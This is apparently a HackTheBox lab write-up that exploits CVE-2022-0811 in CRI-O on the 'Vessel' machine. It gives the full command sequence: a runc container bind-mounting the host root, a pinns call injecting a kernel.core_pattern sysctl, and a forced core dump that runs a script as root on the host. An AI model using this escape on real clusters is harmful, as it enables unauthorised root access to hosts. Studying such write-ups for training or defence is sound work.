CVE-2022-0811
CVE-2022-0811 is a vulnerability in CRI-O (a container runtime engine underpinning Kubernetes). Dubbed “cr8escape,” when invoked, an attacker could escape from a Kubernetes container and gain root access to the host and be able to move anywhere in the cluster. Invocation of CVE-2022-0811 can allow an attacker to perform a variety of actions on objectives, including execution of malware, exfiltration of data and lateral movement across pods.
Proof-of-Concept
My notes from using CVE-2022-0811 to pwn the machine 'Vessel' on HackTheBox.
SUID bit on /usr/bin/pinns
:
ethan@vessel:/$ ls -al /usr/bin/pinns
-rwsr-x--- 1 root ethan 814936 Mar 15 18:18 /usr/bin/pinns
Confirm crio
version is 1.19:
ethan@vessel:/$ crio --version
crio version 1.19.6
Version: 1.19.6
GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState: clean
BuildDate: 2022-03-15T18:18:24Z
GoVersion: go1.15.2
Compiler: gc
Platform: linux/amd64
Linkmode: dynamic
Reading about the exploit we should (1) create a pod/container, (2) use pinns
to exploit the vulnerable variable kernel.core_pattern
, (3) trigger a core dump and then reap the rewards. More information here: CVE-2022-0811
Create a container using
kubectl
,minikube
,docker
orrunc
.
## Create location for runc filesystem
ethan@vessel:/$ mkdir /tmp/pthree
ethan@vessel:/$ mkdir /tmp/pthree/rootfs
## Create runc configuration
ethan@vessel:/tmp/pthree$ runc spec --rootless
## Add following data under 'mounts' section of config.json
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
## Start runc
ethan@vessel:/tmp/pthree$ runc run privesc
root@runc:/# hostname
runc
Open a second terminal and write a simple PoC script to be executed
ethan@vessel:/tmp$ cat poc
#!/bin/sh
whoami && hostname >> /tmp/out
From the same terminal, run the malicious pinns
command:
ethan@vessel:/tmp$ /usr/bin/pinns -d /tmp/pthree -f privesc -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/poc #'--ipc --net --uts
Verify that netns
and utsns
are created in /tmp/pthree
from the container:
# ls -al /tmp/pthree
total 24
drwxrwxr-x 5 root root 4096 Sep 2 09:07 .
drwxrwxrwt 17 nobody nogroup 4096 Sep 2 09:03 ..
-rw-rw-r-- 1 root root 2893 Sep 2 08:59 config.json
drwxr-xr-x 2 nobody root 4096 Sep 2 09:07 netns
drwxrwxr-x 2 root root 4096 Sep 2 08:58 rootfs
drwxr-xr-x 2 nobody root 4096 Sep 2 09:07 utsns
In the first terminal (runc container) trigger a core dump to run the script:
root@runc:/# ulimit -c unlimited
root@runc:/# tail -f /dev/null &
[1] 32
root@runc:/# kill -SIGSEGV 32
root@runc:/# ps
PID TTY TIME CMD
1 pts/0 00:00:00 sh
18 pts/0 00:00:00 bash
33 pts/0 00:00:00 ps
[1]+ Segmentation fault (core dumped) tail -f /dev/null
Verify in the second terminal that the script was executed
ethan@vessel:/tmp/pthree$ cat /tmp/out
root
vessel
Last updated
Was this helpful?